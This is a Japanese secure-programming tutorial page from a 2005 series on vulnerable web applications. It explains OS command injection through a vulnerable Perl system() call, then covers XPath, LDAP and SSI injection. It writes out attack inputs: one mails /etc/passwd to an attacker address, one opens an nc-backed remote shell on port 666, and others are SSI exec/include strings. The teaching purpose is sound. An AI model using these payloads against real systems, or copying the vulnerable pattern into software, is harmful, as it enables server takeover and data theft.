TOP設計・移行・活用> OSコマンドインジェクション
脆弱なWebアプリケーション
脆弱なWebアプリケーション

第5回:インジェクション攻撃
著者:セントラル・コンピュータ・サービス  長谷川 武
2005/5/25
前のページ  1  2  3  4
OSコマンドインジェクション

   OSコマンドインジェクションは、OSコマンドを標的にしたインジェクション攻撃である。ここでいうOSコマンドとは、ほとんどすべてのシステムが装備している強力なコマンドインタプリタ「シェル」へ与えるコマンドのことを指す。

   たとえば、ユーザが指定したメールアドレス宛にWebサーバ内に蓄積されているファイルのひとつを送信するような場面で、次のようなPerlのコードが書かれているとする。
OSコマンドを発行するコード例(Perl)
$mail = ユーザが入力したメールアドレス;
system ("sendmail $mail </doc/file1.txt");

   ここで使われているsystem関数は、内部でシェルを呼び出しコマンドの解釈実行を行うライブラリ関数である。また、"(ダブルクォート)で囲まれている部分に含まれる「$xxx」は変数の参照であり、その場所に変数の値が埋め込まれることを意味している。

   ここへ、メールアドレスとして次のような攻撃入力を与える。

攻撃入力:badguy@evil </etc/passwd #

   すると次のようなコマンドが組み立てられることになる。

組み立てられたOSコマンド
sendmail badguy@evil </etc/passwd # </doc/file1.txt

   結果として、システムのアカウント一覧ファイルが攻撃者に送出されてしまう。記号「#」はSQLの「--」と同様、それ以降の文字がコメントであることを示すシェルにおける記号だ。また、次のような攻撃入力が与えられた場合を考えてみる。

攻撃入力:nobody@nowhere </dev/null; nc -l -p 666 | /bin/sh #

   この場合、ポート番号666を勝手に開けて、リモートからのシェルコマンドを受け付けるよう「裏口」が開いてしまう。ここに出てくる「/dev/null」は空の入力を表し、「;」や「|」は複数のコマンドを順次あるいは組み合わせて実行することを指示する記号である。

   ここでは本来のメール送信はそこそこに、裏口を開けてそこからコマンドを受け取るよう指示している。攻撃が成功するにはいくつかの条件が整う必要があるのだが、この攻撃を許してしまうと最悪の場合、サーバコンピュータが乗っ取られることになる。

   ご覧いただいたものはほんの一例だが、シェルには1行の中で複数コマンドを呼び出せる多くの記号が用意されており、攻撃者はこの記号を悪用して自分に都合のよいコマンドを入力データに混入するのである。次の表2に示すのは、LinuxやMac OS Xなどのプラットフォームで利用されているbashという名のシェルが持つコマンドの構文である。

形式 意味 説明
foo ; bar 順次実行 コマンドfooが実行されたあと、コマンドbarが実行される
foo & bar 並列実行 コマンドfooとコマンドbarが並列で実行される
foo | bar パイプ コマンドfooとコマンドbarが並列で実行され、fooの標準出力がbarの標準入力に送り込まれる
foo && bar 論理AND コマンドfooが正常終了(リターンコード 0で終了)したときbarが実行される
foo || bar 論理OR コマンドfooが異常終了(リターンコード 0以外で終了)したときbarが実行される
foo `bar` 引数埋め込み コマンドbarが実行され、その標準出力がコマンドfooの引数に与えられる
foo $(bar) 引数埋め込み foo `bar`と同じ
foo <(bar) 名前付パイプ入力 コマンドbarの出力を受け取る名前付きパイプのデバイス名をfooの引数として与える
foo >(bar) 名前付パイプ出力 コマンドbarが入力を受け取る名前付きパイプのデバイス名をfooの引数として与える

表2:複数コマンドを組み合わせるシェル構文(bashの場合)


   OSコマンドインジェクションを防ぐには、ファイルのリダイレクトを示す「<」「>」記号や表2の記号がユーザ入力に含まれないよう検査を徹底する。


そのほかのインジェクション攻撃

   SQLやOSコマンドだけでなく、ユーザ入力を埋め込んだコマンド文字列を処理エンジンに投入する場面はインジェクション攻撃が成立する温床である。いまのところ表3のようなインジェクション攻撃のバリエーションが知られている。コマンドを解釈するエンジンには今後新しいものが登場するだろうから、攻撃の種類は増えていく傾向にある。

攻撃の種類 行われる不正 攻撃例
XPathインジェクション XPath(XML Path 言語)によるXML内要素の検索に干渉して情報を流出させる user_list//user[uid='foo' and pw='bar']/secret_info/text()
fooの場所に「' or 1=1 or ''='」のような値を与えて検索条件を歪める
LDAPインジェクション LDAPの検索条件に干渉して情報を流出させる (userid=foo)
fooの場所にワイルドカード「*」を含む表現を混入し検索条件を緩和する
SSIインジェクション コマンドの不正実行 HTMLソースにユーザ入力が貼付けられる箇所に<!--#exec cmd="/bin/ls /"-->のような文字列を与える
ファイルの流出 HTMLソースにユーザ入力が貼付けられる箇所に<!--#include file="/etc/passwd"-->のような文字列を与える

表3:各種インジェクション攻撃


   こうした攻撃を防ぐには、使用するコマンドエンジンが文法上どのような特殊記号に反応するかを把握した上で、それらがユーザ入力に含まれていないか、検査を徹底する必要がある。


まとめ

   Webアプリケーションの背後で使われる、データベース、シェル、XML検索APIなどをめがけて攻撃者は悪意のコマンドを送り込み、実行させてしまう。インジェクション攻撃は、情報漏えい、情報改ざんなど直接の被害をもたらす危険なものだ。Webアプリケーション構築者は、使用する各種エンジンのコマンド文法や特殊記号の働きを十分考慮して入力データを取り扱わなければならない。

   さて本連載では、今回までにはっきり性格が異なる4つの脆弱性カテゴリー「ファイル流出」「パラメータからの情報流出」「セッション乗っ取り」「インジェクション攻撃」について見てきた。次回の最終回では、これら4つのどれにも属さない「各種の問題」について解説する。

前のページ  1  2  3  4


セントラル・コンピュータ・サービス株式会社
著者プロフィール
セントラル・コンピュータ・サービス株式会社  長谷川 武
シニア・セキュリティ・スペシャリスト、IPA 非常勤研究員。2002年にはIPA ISEC『セキュア・プログラミング講座』の制作ディレクターをつとめた。これを契機に、現在は勤務先とそのパートナー企業を通じてセキュアプログラミングセミナー/実習/スキル評価テストといった教育サービスを「TRUSNET(R)アカデミー」として提供している。問い合わせE-mail:info@trusnet.com


INDEX
第5回:インジェクション攻撃
  はじめに
  マルチプルステートメント
  シングルクォートのエスケープ
OSコマンドインジェクション